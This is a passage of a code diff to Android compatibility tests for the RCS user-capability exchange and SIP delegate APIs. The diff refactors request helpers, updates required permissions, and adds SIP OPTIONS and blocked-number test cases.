-                fail("requestAvailability failed " + e);
-            }
+            requestAvailability(uceAdapter, sTestNumberUri, callback);
 
             // Verify that the callback "onError" is called with the expected error code.
             try {
@@ -657,6 +709,7 @@
             }
         });
 
+        finishUceActivity();
         overrideCarrierConfig(null);
     }
 
@@ -670,7 +723,7 @@
         assertNotNull("UCE adapter should not be null!", uceAdapter);
 
         // Connect to the ImsService
-        setupTestImsService(uceAdapter);
+        setupTestImsService(uceAdapter, true, true /* presence cap */, false /* options */);
 
         ArrayList<Uri> numbers = new ArrayList<>(1);
         numbers.add(sTestNumberUri);
@@ -756,6 +809,9 @@
             }
         }, RcsUceAdapter.ERROR_SERVER_UNAVAILABLE);
 
+        // Stay in the foreground.
+        lunchUceActivity();
+
         TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
                 .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
 
@@ -765,19 +821,7 @@
                 cb.onNetworkResponse(networkResp.getKey(), networkResp.getValue());
             });
 
-            // Request capabilities by calling the API requestCapabilities
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
-                        ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-            } catch (ImsException e) {
-                fail("requestCapabilities failed " + e);
-            }
-
+            requestCapabilities(uceAdapter, numbers, callback);
             // Verify that the callback "onError" is called with the expected error code.
             try {
                 assertEquals(expectedCallbackResult.intValue(), waitForIntResult(errorQueue));
@@ -789,18 +833,7 @@
                 retryAfterQueue.clear();
             }
 
-            // Request capabilities by calling the API requestAvailability
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        a -> a.requestAvailability(sTestNumberUri, Runnable::run, callback),
-                        ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE");
-            } catch (ImsException e) {
-                fail("requestAvailability failed " + e);
-            }
+            requestAvailability(uceAdapter, sTestNumberUri, callback);
 
             // Verify that the callback "onError" is called with the expected error code.
             try {
@@ -823,18 +856,7 @@
                         networkResp.getKey(), networkResp.getValue());
             });
 
-            // Request capabilities by calling the API requestCapabilities
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
-                        ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-            } catch (ImsException e) {
-                fail("requestCapabilities failed " + e);
-            }
+            requestCapabilities(uceAdapter, numbers, callback);
 
             // Verify that the callback "onError" is called with the expected error code.
             try {
@@ -847,18 +869,7 @@
                 retryAfterQueue.clear();
             }
 
-            // Request capabilities by calling the API requestAvailability
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        a -> a.requestAvailability(sTestNumberUri, Runnable::run, callback),
-                        ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE");
-            } catch (ImsException e) {
-                fail("requestAvailability failed " + e);
-            }
+            requestAvailability(uceAdapter, sTestNumberUri, callback);
 
             // Verify that the callback "onError" is called with the expected error code.
             try {
@@ -879,18 +890,7 @@
             cb.onNetworkResponse(networkResp, networkRespReason);
         });
 
-        // Request the capabilities by calling the API requestAvailability
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    a -> a.requestAvailability(sTestNumberUri, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE");
-        } catch (ImsException e) {
-            fail("requestAvailability failed " + e);
-        }
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
 
         // Verify that the callback "onError" is called with the error code FORBIDDEN
         try {
@@ -903,18 +903,7 @@
             retryAfterQueue.clear();
         }
 
-        // Request the capabilities again after the ImsService return the 403 error.
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE");
-        } catch (ImsException e) {
-            fail("requestCapabilities failed " + e);
-        }
+        requestCapabilities(uceAdapter, numbers, callback);
 
         // Verify that the capabilities request is sill failed because the ImsService has returned
         // the 403 error before.
@@ -928,6 +917,7 @@
             retryAfterQueue.clear();
         }
 
+        finishUceActivity();
         overrideCarrierConfig(null);
     }
 
@@ -944,7 +934,7 @@
         removeTestContactFromEab();
 
         // Connect to the ImsService
-        setupTestImsService(uceAdapter);
+        setupTestImsService(uceAdapter, true, true /* presence cap */, false /* OPTIONS */);
 
         TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
                 .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
@@ -995,18 +985,10 @@
             cb.onTerminated("", 0L);
         });
 
-        // Request capabilities by calling the API requestCapabilities.
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestCapabilities(contacts, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-        } catch (ImsException e) {
-            fail("requestCapabilities failed " + e);
-        }
+        // Stay in the foreground.
+        lunchUceActivity();
+
+        requestCapabilities(uceAdapter, contacts, callback);
 
         // Verify that all the three contact's capabilities are received
         RcsContactUceCapability capability = waitForResult(capabilityQueue);
@@ -1042,18 +1024,7 @@
             cb.onTerminated("", 0L);
         });
 
-        // Request capabilities by again calling the API requestCapabilities
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestCapabilities(contacts, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-        } catch (ImsException e) {
-            fail("requestCapabilities failed " + e);
-        }
+        requestCapabilities(uceAdapter, contacts, callback);
 
         // Verify the first contact is found.
         capability = waitForResult(capabilityQueue);
@@ -1069,15 +1040,299 @@
         // Verify the onCompleted is called
         waitForResult(completeQueue);
 
+        finishUceActivity();
         overrideCarrierConfig(null);
     }
 
-    private void setupTestImsService(RcsUceAdapter uceAdapter) throws Exception {
+    @Test
+    public void testRequestCapabilitiesWithOptionsMechanism() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, false, true /* OPTIONS enabled */);
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        // The test contact
+        ArrayList<Uri> contacts = new ArrayList<>(3);
+        contacts.add(sTestNumberUri);
+
+        // The result callback
+        BlockingQueue<Long> errorQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+                capabilities.forEach(c -> capabilityQueue.offer(c));
+            }
+            @Override
+            public void onComplete() {
+                completeQueue.offer(true);
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(new Long(errorCode));
+                errorQueue.offer(retryAfterMilliseconds);
+            }
+        };
+
+        // Set the result of the network response is 200 OK.
+        final List<String> featureTags = new ArrayList<>();
+        featureTags.add(FEATURE_TAG_CHAT);
+        featureTags.add(FEATURE_TAG_FILE_TRANSFER);
+        featureTags.add(FEATURE_TAG_MMTEL_AUDIO_CALL);
+        featureTags.add(FEATURE_TAG_MMTEL_VIDEO_CALL);
+        capabilityExchangeImpl.setOptionsOperation((contact, myCapabilities, optionsCallback) -> {
+            int sipCode = 200;
+            String reason = "OK";
+            optionsCallback.onNetworkResponse(sipCode, reason, featureTags);
+        });
+
+        // Request capabilities by calling the API requestCapabilities.
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestCapabilities(contacts, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
+        } catch (ImsException e) {
+            fail("requestCapabilities failed " + e);
+        }
+
+        // Verify the callback "onCapabilitiesReceived" is called.
+        RcsContactUceCapability capability = waitForResult(capabilityQueue);
+        // Verify the callback "onComplete" is called.
+        waitForResult(completeQueue);
+        assertNotNull("RcsContactUceCapability should not be null", capability);
+        assertEquals(RcsContactUceCapability.SOURCE_TYPE_NETWORK, capability.getSourceType());
+        assertEquals(sTestNumberUri, capability.getContactUri());
+        assertEquals(RcsContactUceCapability.REQUEST_RESULT_FOUND, capability.getRequestResult());
+        assertEquals(RcsContactUceCapability.CAPABILITY_MECHANISM_OPTIONS,
+                capability.getCapabilityMechanism());
+        List<String> resultFeatureTags = capability.getOptionsFeatureTags();
+        assertEquals(featureTags.size(), resultFeatureTags.size());
+        for (String featureTag : featureTags) {
+            if (!resultFeatureTags.contains(featureTag)) {
+                fail("Cannot find feature tag in the result");
+            }
+        }
+        errorQueue.clear();
+        completeQueue.clear();
+        capabilityQueue.clear();
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Request capabilities by calling the API requestAvailability.
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestAvailability(sTestContact2Uri,
+                            Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
+        } catch (ImsException e) {
+            fail("requestCapabilities failed " + e);
+        }
+
+        // Verify the callback "onCapabilitiesReceived" is called.
+        capability = waitForResult(capabilityQueue);
+        // Verify the callback "onComplete" is called.
+        waitForResult(completeQueue);
+        assertNotNull("RcsContactUceCapability should not be null", capability);
+        assertEquals(RcsContactUceCapability.SOURCE_TYPE_NETWORK, capability.getSourceType());
+        assertEquals(sTestContact2Uri, capability.getContactUri());
+        assertEquals(RcsContactUceCapability.REQUEST_RESULT_FOUND, capability.getRequestResult());
+        assertEquals(RcsContactUceCapability.CAPABILITY_MECHANISM_OPTIONS,
+                capability.getCapabilityMechanism());
+        resultFeatureTags = capability.getOptionsFeatureTags();
+        assertEquals(featureTags.size(), resultFeatureTags.size());
+        for (String featureTag : featureTags) {
+            if (!resultFeatureTags.contains(featureTag)) {
+                fail("Cannot find feature tag in the result");
+            }
+        }
+        errorQueue.clear();
+        completeQueue.clear();
+        capabilityQueue.clear();
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Set the OPTIONS result is failed.
+        capabilityExchangeImpl.setOptionsOperation((contact, myCapabilities, optionsCallback) -> {
+            int sipCode = 400;
+            String reason = "Bad Request";
+            optionsCallback.onNetworkResponse(sipCode, reason, Collections.EMPTY_LIST);
+        });
+
+        // Request capabilities by calling the API requestCapabilities.
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestCapabilities(contacts, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
+        } catch (ImsException e) {
+            fail("requestCapabilities failed " + e);
+        }
+
+        // Verify the callback "onError" is called.
+        assertEquals(RcsUceAdapter.ERROR_GENERIC_FAILURE, waitForLongResult(errorQueue));
+
+        // The callback "onCapabilitiesReceived" should not be called.
+        if (capabilityQueue.poll() != null) {
+            fail("onCapabilitiesReceived should not be called.");
+        }
+
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testOptionsRequestFromNetwork() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, false, true /* OPTIONS enabled */);
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        final Uri contact = sTestContact2Uri;
+        List<String> remoteCapabilities = new ArrayList<>();
+        remoteCapabilities.add(FEATURE_TAG_CHAT);
+        remoteCapabilities.add(FEATURE_TAG_FILE_TRANSFER);
+        remoteCapabilities.add(FEATURE_TAG_MMTEL_AUDIO_CALL);
+        remoteCapabilities.add(FEATURE_TAG_MMTEL_VIDEO_CALL);
+        BlockingQueue<Pair<RcsContactUceCapability, Boolean>> respToCapRequestQueue =
+                new LinkedBlockingQueue<>();
+        OptionsRequestCallback callback = new OptionsRequestCallback() {
+            @Override
+            public void onRespondToCapabilityRequest(RcsContactUceCapability capabilities,
+                    boolean isBlocked) {
+                respToCapRequestQueue.offer(new Pair<>(capabilities, isBlocked));
+            }
+            @Override
+            public void onRespondToCapabilityRequestWithError(int sipCode, String reason) {
+            }
+        };
+
+        // Notify the remote capability request
+        eventListener.onRemoteCapabilityRequest(contact, remoteCapabilities, callback);
+
+        // Verify receive the result
+        Pair<RcsContactUceCapability, Boolean> capability = waitForResult(respToCapRequestQueue);
+        assertNotNull("RcsContactUceCapability should not be null", capability);
+        assertEquals(RcsContactUceCapability.SOURCE_TYPE_NETWORK, capability.first.getSourceType());
+        assertEquals(RcsContactUceCapability.REQUEST_RESULT_FOUND,
+                capability.first.getRequestResult());
+        assertEquals(RcsContactUceCapability.CAPABILITY_MECHANISM_OPTIONS,
+                capability.first.getCapabilityMechanism());
+        // Should not report blocked
+        assertFalse("This number is not blocked, so the API should not report blocked",
+                capability.second);
+
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testOptionsRequestFromNetworkBlocked() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, false, true /* OPTIONS enabled */);
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        final Uri contact = sTestNumberUri;
+        List<String> remoteCapabilities = new ArrayList<>();
+        remoteCapabilities.add(FEATURE_TAG_CHAT);
+        remoteCapabilities.add(FEATURE_TAG_FILE_TRANSFER);
+        remoteCapabilities.add(FEATURE_TAG_MMTEL_AUDIO_CALL);
+        remoteCapabilities.add(FEATURE_TAG_MMTEL_VIDEO_CALL);
+
+        BlockingQueue<Pair<RcsContactUceCapability, Boolean>> respToCapRequestQueue =
+                new LinkedBlockingQueue<>();
+        OptionsRequestCallback callback = new OptionsRequestCallback() {
+            @Override
+            public void onRespondToCapabilityRequest(RcsContactUceCapability capabilities,
+                    boolean isBlocked) {
+                respToCapRequestQueue.offer(new Pair<>(capabilities, isBlocked));
+            }
+            @Override
+            public void onRespondToCapabilityRequestWithError(int sipCode, String reason) {
+            }
+        };
+
+        // Must be default SMS app to block numbers
+        sServiceConnector.setDefaultSmsApp();
+        Uri blockedUri = BlockedNumberUtil.insertBlockedNumber(getContext(), sTestPhoneNumber);
+        assertNotNull("could not block number", blockedUri);
+        try {
+            // Notify the remote capability request
+            eventListener.onRemoteCapabilityRequest(contact, remoteCapabilities, callback);
+
+            // Verify receive the result
+            Pair<RcsContactUceCapability, Boolean> capability =
+                    waitForResult(respToCapRequestQueue);
+            assertNotNull("RcsContactUceCapability should not be null", capability);
+            assertEquals(RcsContactUceCapability.SOURCE_TYPE_NETWORK,
+                    capability.first.getSourceType());
+            assertEquals(RcsContactUceCapability.REQUEST_RESULT_FOUND,
+                    capability.first.getRequestResult());
+            assertEquals(RcsContactUceCapability.CAPABILITY_MECHANISM_OPTIONS,
+                    capability.first.getCapabilityMechanism());
+            // Should report blocked
+            assertTrue("this number is blocked, so API should report blocked",
+                    capability.second);
+        } finally {
+            BlockedNumberUtil.deleteBlockedNumber(getContext(), blockedUri);
+            sServiceConnector.restoreDefaultSmsApp();
+        }
+
+        overrideCarrierConfig(null);
+    }
+
+    private void setupTestImsService(RcsUceAdapter uceAdapter, boolean presencePublishEnabled,
+            boolean presenceCapExchangeEnabled, boolean sipOptionsEnabled) throws Exception {
         // Trigger carrier config changed
         PersistableBundle bundle = new PersistableBundle();
-        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL,
+                presencePublishEnabled);
         bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
-                true);
+                presenceCapExchangeEnabled);
+        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, sipOptionsEnabled);
         overrideCarrierConfig(bundle);
 
         // Enable the UCE setting.
@@ -1263,4 +1518,56 @@
             Log.w("RcsUceAdapterTest", "Cannot remove test contacts from eab database: " + e);
         }
     }
+
+    private void requestCapabilities(RcsUceAdapter uceAdapter, List<Uri> numbers,
+            RcsUceAdapter.CapabilitiesCallback callback) {
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE. "
+                    + "Exception: " + e);
+        } catch (ImsException e) {
+            fail("requestCapabilities failed " + e);
+        }
+    }
+
+    private void requestAvailability(RcsUceAdapter uceAdapter, Uri number,
+            RcsUceAdapter.CapabilitiesCallback callback) {
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestAvailability(number, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestAvailability should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE. "
+                    + "Exception: " + e);
+        } catch (ImsException e) {
+            fail("requestAvailability failed " + e);
+        }
+    }
+
+    private void lunchUceActivity() throws Exception {
+        final CountDownLatch countdownLatch = new CountDownLatch(1);
+        final Intent activityIntent = new Intent(getContext(), UceActivity.class);
+        activityIntent.setAction(Intent.ACTION_MAIN);
+        activityIntent.addCategory(Intent.CATEGORY_LAUNCHER);
+        activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        UceActivity.setCountDownLatch(countdownLatch);
+        getContext().startActivity(activityIntent);
+        countdownLatch.await(5000, TimeUnit.MILLISECONDS);
+    }
+
+    private void finishUceActivity() {
+        final Intent finishIntent = new Intent(getContext(), UceActivity.class);
+        finishIntent.setAction(UceActivity.ACTION_FINISH);
+        finishIntent.addCategory(Intent.CATEGORY_LAUNCHER);
+        finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+        getContext().startActivity(finishIntent);
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
index d7906df..c8509b8 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
@@ -223,15 +223,38 @@
         SipDelegateManager manager = getSipDelegateManager();
         try {
             manager.isSupported();
-            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE");
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE or "
+                    + "PERFORM_IMS_SINGLE_REGISTRATION");
         } catch (SecurityException e) {
             //expected
         }
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                    manager, SipDelegateManager::isSupported, ImsException.class,
+                    "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
+        } catch (ImsException e) {
+            // Not a problem, only checking permissions here.
+        } catch (SecurityException e) {
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE or "
+                    + "PERFORM_IMS_SINGLE_REGISTRATION, exception:" + e);
+        }
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                    manager, SipDelegateManager::isSupported, ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+
+        } catch (ImsException e) {
+            // Not a problem, only checking permissions here.
+        } catch (SecurityException e) {
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE or "
+                    + "PERFORM_IMS_SINGLE_REGISTRATION, exception:" + e);
+        }
+
         DelegateRequest d = new DelegateRequest(Collections.emptySet());
         TestSipDelegateConnection c = new TestSipDelegateConnection(d);
         try {
             manager.createSipDelegate(d, Runnable::run, c, c);
-            fail("createSipDelegate requires MODIFY_PHONE_STATE");
+            fail("createSipDelegate requires PERFORM_IMS_SINGLE_REGISTRATION");
         } catch (SecurityException e) {
             //expected
         }
@@ -259,12 +282,12 @@
                 // return false.
                 Boolean result = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         manager, SipDelegateManager::isSupported, ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
+                        "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
                 assertNotNull(result);
                 assertFalse("isSupported should return false on devices that do not "
                         + "support feature FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION", result);
             } catch (SecurityException e) {
-                fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission");
+                fail("isSupported requires PERFORM_IMS_SINGLE_REGISTRATION permission");
             }
 
             try {
@@ -275,12 +298,12 @@
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
                         manager, (m) -> m.createSipDelegate(request, Runnable::run,
                                 delegateConn, delegateConn), ImsException.class,
-                        "android.permission.MODIFY_PHONE_STATE");
+                        "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
                 fail("createSipDelegate should throw an ImsException with code "
                         + "CODE_ERROR_UNSUPPORTED_OPERATION on devices that do not support feature "
                         + "FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION");
             } catch (SecurityException e) {
-                fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission");
+                fail("isSupported requires PERFORM_IMS_SINGLE_REGISTRATION permission");
             } catch (ImsException e) {
                 // expecting CODE_ERROR_UNSUPPORTED_OPERATION
                 if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
@@ -313,9 +336,9 @@
             result = callUntilImsServiceIsAvailable(() ->
                     ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(manager,
                             SipDelegateManager::isSupported, ImsException.class,
-                            "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                            "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         } catch (SecurityException e) {
-            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission");
+            fail("isSupported requires PERFORM_IMS_SINGLE_REGISTRATION permission");
         }
         assertNotNull(result);
         assertTrue("isSupported should return true", result);
@@ -335,7 +358,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false if"
                 + "CarrierConfigManager.Ims.KEY_RCS_SINGLE_REGISTRATION_REQUIRED_BOOL is set to "
@@ -365,7 +388,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that the ImsService is only "
                 + "attached for RCS and not MMTEL and RCS", result);
@@ -392,7 +415,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that SipTransport is not "
                 + "implemented", result);
@@ -417,7 +440,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that SipTransport is not "
                 + "set as capable in ImsService#getImsServiceCapabilities", result);
@@ -441,7 +464,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that SipTransport is not "
                 + "set as capable in ImsService#getImsServiceCapabilities", result);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
index 9cfbf18..99639a3 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
@@ -43,6 +43,12 @@
         void execute(List<Uri> uris, SubscribeResponseCallback cb) throws ImsException;
     }
 
+    @FunctionalInterface
+    public interface OptionsOperation {
+        void execute(Uri contactUri, List<String> myCapabilities, OptionsResponseCallback callback)
+                throws ImsException;
+    }
+
     private DeviceCapPublishListener mPublishListener;
 
     // The operation of publishing capabilities
@@ -51,6 +57,9 @@
     // The operation of requesting capabilities.
     private SubscribeOperation mSubscribeOperation;
 
+    // The operation of send Options
+    private OptionsOperation mOptionsOperation;
+
     /**
      * Create a new RcsCapabilityExchangeImplBase instance.
      * @param executor The executor that remote calls from the framework will be called on.
@@ -68,6 +77,10 @@
         mSubscribeOperation = operator;
     }
 
+    public void setOptionsOperation(OptionsOperation operation) {
+        mOptionsOperation = operation;
+    }
+
     @Override
     public void publishCapabilities(String pidfXml, PublishResponseCallback cb) {
         try {
@@ -85,4 +98,14 @@
             Log.w(LOG_TAG, "subscribeForCapabilities exception: " + e);
         }
     }
+
+    @Override
+    public void sendOptionsCapabilityRequest(Uri contactUri, List<String> myCapabilities,
+            OptionsResponseCallback callback) {
+        try {
+            mOptionsOperation.execute(contactUri, myCapabilities, callback);
+        } catch (ImsException e) {
+            Log.w(LOG_TAG, "sendOptionsCapabilityRequest exception: " + e);
+        }
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
index ca7505f..1118009 100644
